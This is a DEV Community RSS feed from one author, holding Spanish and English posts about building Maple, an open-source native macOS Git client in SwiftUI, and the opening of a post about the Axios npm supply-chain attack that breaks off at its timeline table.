<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Pool Camacho</title>
    <description>The latest articles on DEV Community by Pool Camacho (@poolcamacho).</description>
    <link>https://dev.to/poolcamacho</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3856562%2F4d2d8042-9465-4d16-b9a5-6a6e55b9b78c.jpeg</url>
      <title>DEV Community: Pool Camacho</title>
      <link>https://dev.to/poolcamacho</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/poolcamacho"/>
    <language>en</language>
    <item>
      <title>Estoy construyendo un cliente de Git nativo para macOS en SwiftUI — así va la semana 1</title>
      <dc:creator>Pool Camacho</dc:creator>
      <pubDate>Tue, 14 Apr 2026 06:07:09 +0000</pubDate>
      <link>https://dev.to/poolcamacho/estoy-construyendo-un-cliente-de-git-nativo-para-macos-en-swiftui-asi-va-la-semana-1-5akd</link>
      <guid>https://dev.to/poolcamacho/estoy-construyendo-un-cliente-de-git-nativo-para-macos-en-swiftui-asi-va-la-semana-1-5akd</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Maple&lt;/strong&gt; es un cliente de Git &lt;strong&gt;nativo, gratis y rápido&lt;/strong&gt; para macOS hecho en SwiftUI. Sin webviews, sin Electron, sin suscripciones. Habla directo con &lt;code&gt;git&lt;/code&gt; en tu máquina y no pretende esconder el modelo real de Git detrás de abstracciones raras.&lt;/p&gt;

&lt;p&gt;Repo: &lt;a href="https://github.com/poolcamacho/Maple" rel="noopener noreferrer"&gt;https://github.com/poolcamacho/Maple&lt;/a&gt; · Licencia: MIT · 🇺🇸 &lt;a href="https://dev.to/poolcamacho/im-building-a-native-macos-git-client-in-swiftui-heres-week-one-1kk7"&gt;Read in English&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Por qué otro cliente de Git
&lt;/h2&gt;

&lt;p&gt;En macOS ya hay GUIs de Git muy decentes — Tower y Fork son las que más me gustan. Empecé Maple por algo más específico: quería una app que fuera &lt;strong&gt;gratis, open source, 100% SwiftUI nativo, y sin miedo a exponer el modelo real de Git para power users&lt;/strong&gt;, y a la vez quería aprender SwiftUI moderno construyendo algo que yo mismo usara todos los días.&lt;/p&gt;

&lt;p&gt;Maple arrancó con un brief bien acotado:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;100% SwiftUI nativo&lt;/strong&gt; — sin webviews, sin Electron, abre tan rápido como Terminal.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Gratis y MIT&lt;/strong&gt; — nunca suscripción.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Muestra Git como es&lt;/strong&gt; — commit graph con topología real, branches y merges visibles, vista de conflictos de verdad. Cero wizards que escondan lo que está pasando.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Respeta tu flujo&lt;/strong&gt; — shortcuts y acciones para lo que un power user realmente usa: interactive staging, stash, rebase, merge, cherry-pick.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;No pretende reemplazar a Tower para todo el mundo. Es el cliente que yo quería que existiera.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2p02qt64oxhdpp4wampa.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2p02qt64oxhdpp4wampa.png" alt="Commit graph de Maple con topología real: lanes con colores y edges curvos por cada parent" width="800" height="476"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Lo que ya hace
&lt;/h2&gt;

&lt;p&gt;Esto es un &lt;strong&gt;post de avance&lt;/strong&gt;, no un lanzamiento. Las capturas las subiré en el próximo post. Pero esto ya funciona de punta a punta en repos reales (llevo varios días dogfooding con la misma app para commitear su propio código):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Abrir cualquier repo local con el folder picker y validación de &lt;code&gt;.git&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Sidebar con lista de repos, branches locales y remotos&lt;/li&gt;
&lt;li&gt;Toolbar con Pull, Push, Fetch, Stash, Branch, Merge, Rebase&lt;/li&gt;
&lt;li&gt;Cuatro tabs: Changes, History, Branches, Stashes&lt;/li&gt;
&lt;li&gt;Diff viewer con hunks coloreados, números de línea, y un toggle de Blame&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Commit graph con topología real&lt;/strong&gt; — algoritmo de lanes, edges curvos por cada parent, merges dibujados con círculos anillados&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Merge y rebase con manejo de conflictos&lt;/strong&gt; — detecta &lt;code&gt;UU&lt;/code&gt;/&lt;code&gt;AA&lt;/code&gt;/&lt;code&gt;DD&lt;/code&gt;, banner de operación con Abort / Continue / Skip, y resolución por archivo con &lt;code&gt;Use Ours&lt;/code&gt; / &lt;code&gt;Use Theirs&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Auto-refresh vía FSEvents sobre &lt;code&gt;.git/&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Layout adaptativo de desktops anchos a pantallas compactas&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0beg435up9hbrye88vrv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0beg435up9hbrye88vrv.png" alt="Tab Branches de Maple con branches locales y remotos, acciones de checkout, create y delete" width="800" height="474"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  La arquitectura en una pantalla
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Models/     — Data pura y Sendable (AppState, GitModels, StashModels)
Services/   — GitService (actor, ejecuta el CLI)
              GitCoordinator (@MainActor, orquestación)
              Extensiones por comando (GitCommands, GitBranchOps,
              GitStashOps, GitMergeRebase)
              CommitGraphBuilder, ConflictParser, FileWatcher
Views/      — Un archivo por vista, cero lógica de negocio
Utils/      — FolderPicker, DateExtensions
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tres decisiones que vale la pena llamar aparte:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;GitService&lt;/code&gt; es un &lt;code&gt;actor&lt;/code&gt;&lt;/strong&gt;, así que todas las llamadas al CLI se serializan por un solo "portero". &lt;code&gt;GitCoordinator&lt;/code&gt; es &lt;code&gt;@MainActor&lt;/code&gt; y hace de pegamento entre la UI y el actor — las vistas solo llaman &lt;code&gt;state.coordinator.*&lt;/code&gt; y nunca tocan un &lt;code&gt;Process&lt;/code&gt; directamente. Resultado: lógica de negocio cero en las vistas, fácil de testear y refactorizar.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cada invocación de &lt;code&gt;git&lt;/code&gt; abre un &lt;code&gt;/dev/null&lt;/code&gt; fresco para stdin y cierra sus pipes explícitamente.&lt;/strong&gt; Sin eso me salía &lt;code&gt;NSPOSIXErrorDomain code=9 / EBADF&lt;/code&gt; después de comandos largos como &lt;code&gt;push&lt;/code&gt;, porque &lt;code&gt;FileHandle.nullDevice&lt;/code&gt; es un singleton compartido que termina en estados raros después de muchos &lt;code&gt;posix_spawn&lt;/code&gt;. Abrir &lt;code&gt;/dev/null&lt;/code&gt; por llamada con &lt;code&gt;closeOnDealloc: true&lt;/code&gt; lo arregla de tajo.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;El commit graph no es el "punto + línea vertical" de toda la vida.&lt;/strong&gt; Construye un layout real de lanes: para cada commit, reclama el lane que lo estaba esperando (el vínculo child→parent); si no hay, reusa un lane libre. Los primeros parents se quedan en el mismo lane para que la línea principal quede recta; los parents adicionales de merges abren lanes laterales con edges curvos. Los edges se resuelven en una segunda pasada porque un parent puede aparecer muchas filas más abajo.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;El UX de conflictos es por archivo, no por hunk — a propósito para v1.&lt;/strong&gt; Cuando cae un merge con conflicto, el tab Changes marca cada archivo conflictivo con un &lt;code&gt;!&lt;/code&gt; morado, y cada uno tiene tres botones: &lt;code&gt;Use Ours&lt;/code&gt;, &lt;code&gt;Use Theirs&lt;/code&gt;, o editas los markers tú mismo en tu editor favorito. Arriba aparece un banner persistente que dice &lt;code&gt;Merging X&lt;/code&gt; con &lt;code&gt;Abort&lt;/code&gt; / &lt;code&gt;Continue&lt;/code&gt; / &lt;code&gt;Skip&lt;/code&gt;. Sin modales, sin secuestrarte el flujo.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffvskolw6p4y6wzdotuzv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffvskolw6p4y6wzdotuzv.png" alt="Vista de resolución de conflictos en Maple con el banner Merging, los markers resaltados y los botones Use Ours / Use Theirs por archivo" width="800" height="473"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Lo que ya está armado alrededor del código
&lt;/h2&gt;

&lt;p&gt;Porque la idea es que esto crezca como proyecto OSS serio, no como experimento de fin de semana:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;GitHub Actions CI&lt;/strong&gt; — build + &lt;code&gt;xcodebuild analyze&lt;/code&gt; + SwiftLint strict en cada push y PR&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CodeQL&lt;/strong&gt; — análisis semanal de Swift más en cada PR que toque código Swift&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Workflow de release&lt;/strong&gt; — taggeas &lt;code&gt;v*&lt;/code&gt; y sale un &lt;code&gt;.app&lt;/code&gt; sin firmar zipeado automáticamente&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Branch protection&lt;/strong&gt; en &lt;code&gt;master&lt;/code&gt; — status checks requeridos, no force push, no delete, conversations resueltas&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dependabot&lt;/strong&gt; para GitHub Actions, así las versiones no se quedan oxidadas&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;SECURITY.md&lt;/code&gt; con private vulnerability reporting activado&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Issue forms&lt;/strong&gt; y &lt;strong&gt;PR template&lt;/strong&gt; que fuerza la regla de "ni una sola línea de lógica de negocio en las vistas"&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Nada de esto es heroico. Es el andamiaje aburrido que separa un hobby project de un repo donde la gente realmente puede contribuir.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lo que sigue
&lt;/h2&gt;

&lt;p&gt;El roadmap que estoy atacando en orden:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] &lt;strong&gt;Interactive staging&lt;/strong&gt; — stage de hunks o líneas individuales, no solo archivos enteros&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Tag management&lt;/strong&gt; — crear, listar, borrar tags desde la UI&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Search / filtering&lt;/strong&gt; — filtrar commits y archivos con fuzzy match&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Clone from URL&lt;/strong&gt; — ahora solo abres repos existentes, clonar es el paso obvio&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Remote management&lt;/strong&gt; — agregar, quitar, configurar remotes sin CLI&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Keyboard shortcuts&lt;/strong&gt; — &lt;code&gt;Cmd+S&lt;/code&gt; stage, &lt;code&gt;Cmd+Enter&lt;/code&gt; commit, &lt;code&gt;Cmd+K&lt;/code&gt; command palette&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Persistir repos abiertos&lt;/strong&gt; entre sesiones&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Settings &amp;amp; preferences&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Releases firmados + notarizados&lt;/strong&gt; cuando la app ya esté lista para usuarios no-devs&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Pruébalo y ayúdame a darle forma
&lt;/h2&gt;

&lt;p&gt;MIT, open source, todo en público:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;→ &lt;a href="https://github.com/poolcamacho/Maple" rel="noopener noreferrer"&gt;github.com/poolcamacho/Maple&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Si tienes macOS 14+ y Xcode 16+, &lt;code&gt;git clone&lt;/code&gt; + &lt;code&gt;Cmd+R&lt;/code&gt; y lo tienes corriendo en menos de un minuto. Abre issues si te topas con un flujo de Git que la UI vuelve torpe — prefiero arreglar eso a adivinar qué necesitan los power users.&lt;/p&gt;

&lt;p&gt;Si quieres patrocinar el proyecto para que se mantenga gratis y activo, hay botón &lt;strong&gt;Sponsor&lt;/strong&gt; arriba del repo, o directo en &lt;a href="https://github.com/sponsors/poolcamacho" rel="noopener noreferrer"&gt;github.com/sponsors/poolcamacho&lt;/a&gt;. El patrocinio mantiene Maple libre para todos y me ayuda a cubrir el presupuesto de firma + notarización que voy a necesitar para shipear a usuarios no-devs.&lt;/p&gt;

&lt;p&gt;El próximo post probablemente sea sobre interactive staging — es el problema de diseño más interesante de la lista. Nos leemos.&lt;/p&gt;

</description>
      <category>swift</category>
      <category>macos</category>
      <category>git</category>
      <category>showdev</category>
    </item>
    <item>
      <title>I'm building a native macOS Git client in SwiftUI — here's week one</title>
      <dc:creator>Pool Camacho</dc:creator>
      <pubDate>Tue, 14 Apr 2026 06:07:09 +0000</pubDate>
      <link>https://dev.to/poolcamacho/im-building-a-native-macos-git-client-in-swiftui-heres-week-one-1kk7</link>
      <guid>https://dev.to/poolcamacho/im-building-a-native-macos-git-client-in-swiftui-heres-week-one-1kk7</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Maple is a free, fast, native macOS Git client built with SwiftUI — no web views, no Electron, no subscription. It talks directly to &lt;code&gt;git&lt;/code&gt; on your machine and exposes the full power of Git without hiding it behind abstractions.&lt;/p&gt;

&lt;p&gt;Repo: &lt;a href="https://github.com/poolcamacho/Maple" rel="noopener noreferrer"&gt;https://github.com/poolcamacho/Maple&lt;/a&gt; · License: MIT&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Why another Git client
&lt;/h2&gt;

&lt;p&gt;There are solid Git GUIs on macOS already — Tower and Fork are both great. I started Maple for a narrower reason: I wanted something that was &lt;strong&gt;free, open source, native SwiftUI, and unapologetically power-user friendly&lt;/strong&gt;, and I wanted to learn modern SwiftUI by building something I'd actually use every day.&lt;/p&gt;

&lt;p&gt;So Maple has a pretty specific design brief:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Fully native SwiftUI&lt;/strong&gt; — no web views, no Electron, opens as fast as Terminal.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Free and MIT-licensed&lt;/strong&gt; — no subscription, ever.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Shows Git as it is&lt;/strong&gt; — full commit graph with real topology, visible branches and merges, proper conflict view. No wizards that hide what's happening.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Respects your workflow&lt;/strong&gt; — shortcuts and actions for the operations power users actually care about: interactive staging, stash, rebase, merge, cherry-pick.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It's not a replacement for Tower for everyone. It's the one I wanted to exist.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2p02qt64oxhdpp4wampa.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2p02qt64oxhdpp4wampa.png" alt="Maple's commit graph showing real branch topology with colored lanes and curved edges"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What it does today
&lt;/h2&gt;

&lt;p&gt;The screenshots will come later — I'm publishing this as a progress post, not a launch — but here's what's already working end-to-end on a real repo:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Open any local repo&lt;/strong&gt; via folder picker, with &lt;code&gt;.git&lt;/code&gt; validation&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sidebar&lt;/strong&gt; with repository list, local and remote branches&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Toolbar&lt;/strong&gt; with Pull, Push, Fetch, Stash, Branch, Merge, Rebase&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Four tabs&lt;/strong&gt;: Changes, History, Branches, Stashes&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Live diff viewer&lt;/strong&gt; with colored hunks, line numbers, and a Blame toggle&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Commit graph with real topology&lt;/strong&gt; — lane assignment algorithm, curved edges per parent, merge nodes drawn as ringed circles&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Merge and rebase with conflict handling&lt;/strong&gt; — &lt;code&gt;UU&lt;/code&gt;/&lt;code&gt;AA&lt;/code&gt;/&lt;code&gt;DD&lt;/code&gt; detection, an operation banner with Abort / Continue / Skip, and per-file &lt;code&gt;Use Ours&lt;/code&gt; / &lt;code&gt;Use Theirs&lt;/code&gt; resolution&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Auto-refresh&lt;/strong&gt; via FSEvents on &lt;code&gt;.git/&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Adaptive layout&lt;/strong&gt; from wide desktops down to compact laptop windows&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It's a real client already. I've been dogfooding it to commit and push the work on itself.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0beg435up9hbrye88vrv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0beg435up9hbrye88vrv.png" alt="Maple's Branches tab showing local and remote branches with checkout, create, and delete actions"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The architecture, in one screen
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Models/     — Pure Sendable data (AppState, GitModels, StashModels)
Services/   — GitService (actor, CLI execution)
              GitCoordinator (@MainActor orchestration)
              Command extensions (GitCommands, GitBranchOps,
              GitStashOps, GitMergeRebase)
              CommitGraphBuilder, ConflictParser, FileWatcher
Views/      — One file per view, zero business logic
Utils/      — FolderPicker, DateExtensions
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A couple of decisions worth calling out:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;GitService&lt;/code&gt; is an &lt;code&gt;actor&lt;/code&gt;&lt;/strong&gt;, so all CLI calls serialize behind a single gatekeeper. &lt;code&gt;GitCoordinator&lt;/code&gt; is &lt;code&gt;@MainActor&lt;/code&gt; and sits between the views and the actor — views only call &lt;code&gt;state.coordinator.*&lt;/code&gt; and never touch Process or Pipe directly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Every &lt;code&gt;git&lt;/code&gt; invocation uses a fresh &lt;code&gt;/dev/null&lt;/code&gt; stdin&lt;/strong&gt; and closes its pipes explicitly. Without that, I was getting &lt;code&gt;NSPOSIXErrorDomain code=9 / EBADF&lt;/code&gt; errors after long-running commands like &lt;code&gt;push&lt;/code&gt;, because &lt;code&gt;FileHandle.nullDevice&lt;/code&gt; is a shared singleton that drifts into bad states across many &lt;code&gt;posix_spawn&lt;/code&gt; calls. Opening &lt;code&gt;/dev/null&lt;/code&gt; per call with &lt;code&gt;closeOnDealloc: true&lt;/code&gt; fixed it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The commit graph isn't the usual “dot + vertical line” fake.&lt;/strong&gt; It builds an actual lane layout: for each commit, claim the lane that expects it (child→parent link), otherwise reuse a free lane. First parents stay in the same lane to keep the main line straight; extra parents on merges spawn side lanes with curved connectors. Edges are resolved in a second pass because a parent may appear many rows later.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Conflict UX is per-file, not per-hunk — on purpose for v1.&lt;/strong&gt; When a merge conflict lands, the Changes tab lights up conflicted files with a purple &lt;code&gt;!&lt;/code&gt; marker, and each one offers a three-button bar: &lt;code&gt;Use Ours&lt;/code&gt;, &lt;code&gt;Use Theirs&lt;/code&gt;, or edit the markers in your own editor. A persistent banner at the top of the window shows &lt;code&gt;Merging X&lt;/code&gt; with &lt;code&gt;Abort&lt;/code&gt; / &lt;code&gt;Continue&lt;/code&gt; / &lt;code&gt;Skip&lt;/code&gt;. No modal dialogs, no hijacking your workflow.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffvskolw6p4y6wzdotuzv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffvskolw6p4y6wzdotuzv.png" alt="Conflict resolution view in Maple with the Merging banner, conflict markers highlighted, and the per-file Use Ours / Use Theirs buttons"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What's already in place beyond the app itself
&lt;/h2&gt;

&lt;p&gt;Because I want this to grow as a real OSS project and not as a one-off:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;GitHub Actions CI&lt;/strong&gt; — build + &lt;code&gt;xcodebuild analyze&lt;/code&gt; + SwiftLint (strict) on every push and PR&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CodeQL&lt;/strong&gt; — scheduled weekly Swift analysis, plus on any PR that touches Swift code&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Release workflow&lt;/strong&gt; — tag &lt;code&gt;v*&lt;/code&gt; to publish an unsigned &lt;code&gt;.app&lt;/code&gt; zip automatically&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Branch protection&lt;/strong&gt; on &lt;code&gt;master&lt;/code&gt; — required status checks, no force push, no deletion, conversation resolution required&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dependabot&lt;/strong&gt; for GitHub Actions, so pinned action versions stay fresh&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SECURITY.md&lt;/strong&gt; with private vulnerability reporting enabled&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Issue forms&lt;/strong&gt; and a &lt;strong&gt;PR template&lt;/strong&gt; that enforces the “no business logic in views” rule&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;None of this is heroic, but it's the boring scaffolding that turns a weekend project into something other people can actually contribute to.&lt;/p&gt;

&lt;h2&gt;
  
  
  What's next
&lt;/h2&gt;

&lt;p&gt;The roadmap I'm actively working through:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] &lt;strong&gt;Interactive staging&lt;/strong&gt; — stage individual hunks and lines instead of whole files&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Tag management&lt;/strong&gt; — create, list, delete from the UI&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Search filtering&lt;/strong&gt; — filter commits and files with fuzzy matching&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Clone from URL&lt;/strong&gt; — right now you open existing repos; cloning is the obvious next step&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Remote management&lt;/strong&gt; — add, remove, configure remotes without dropping to CLI&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Keyboard shortcuts&lt;/strong&gt; — &lt;code&gt;Cmd+S&lt;/code&gt; to stage, &lt;code&gt;Cmd+Enter&lt;/code&gt; to commit, &lt;code&gt;Cmd+K&lt;/code&gt; for the command palette I haven't built yet&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Persist open repositories&lt;/strong&gt; between sessions&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Settings &amp;amp; preferences&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Signed + notarized releases&lt;/strong&gt; once the app is ready for non-developer users&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Try it, and help shape where it goes
&lt;/h2&gt;

&lt;p&gt;It's MIT-licensed, open source, and built in public:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;→ &lt;a href="https://github.com/poolcamacho/Maple" rel="noopener noreferrer"&gt;github.com/poolcamacho/Maple&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you're on macOS 14+ with Xcode 16+, &lt;code&gt;git clone&lt;/code&gt; and &lt;code&gt;Cmd+R&lt;/code&gt; in Xcode gets you running in under a minute. Please open issues — especially if you hit a Git workflow the UI makes awkward. I'd much rather fix that than guess what power users need.&lt;/p&gt;

&lt;p&gt;And if you want to sponsor the work so it stays free and actively maintained, there's a &lt;strong&gt;Sponsor&lt;/strong&gt; button at the top of the repo, or you can go directly to &lt;a href="https://github.com/sponsors/poolcamacho" rel="noopener noreferrer"&gt;github.com/sponsors/poolcamacho&lt;/a&gt;. Sponsorship keeps Maple free for everyone and funds the signing + notarization budget I'll need for shipping to non-developers.&lt;/p&gt;

&lt;p&gt;Next post will probably be about interactive staging — that one's the most interesting design problem on the list. Stay tuned.&lt;/p&gt;

</description>
      <category>swift</category>
      <category>macos</category>
      <category>git</category>
      <category>showdev</category>
    </item>
    <item>
      <title>The Axios Attack Proved npm audit Is Broken. Here's What Would Have Caught It</title>
      <dc:creator>Pool Camacho</dc:creator>
      <pubDate>Mon, 06 Apr 2026 03:35:13 +0000</pubDate>
      <link>https://dev.to/poolcamacho/the-axios-attack-proved-npm-audit-is-broken-heres-what-would-have-caught-it-78o</link>
      <guid>https://dev.to/poolcamacho/the-axios-attack-proved-npm-audit-is-broken-heres-what-would-have-caught-it-78o</guid>
      <description>&lt;p&gt;Five days ago, North Korean state hackers hijacked one of the most trusted packages in the JavaScript ecosystem, &lt;code&gt;axios&lt;/code&gt;, with 100 million weekly downloads, and turned it into a Remote Access Trojan delivery system.&lt;/p&gt;

&lt;p&gt;The attack was live on npm for three hours. &lt;code&gt;npm audit&lt;/code&gt; flagged nothing.&lt;/p&gt;

&lt;p&gt;If you ran &lt;code&gt;npm install&lt;/code&gt; during that window, your machine may have been silently backdoored. Here's exactly how the attack worked, why traditional tools missed it, and how behavioral analysis would have caught it before a single byte of malicious code executed.&lt;/p&gt;

&lt;h2&gt;
  
  
  The attack, minute by minute
&lt;/h2&gt;

&lt;p&gt;The timeline shows a methodical, multi-stage operation:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Time (UTC)&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Mar 30, 05:57&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;plain-crypto-js@4.2.0&lt;/code&gt; published, a clean decoy to establish publishing history&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Mar 30, 23:59&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
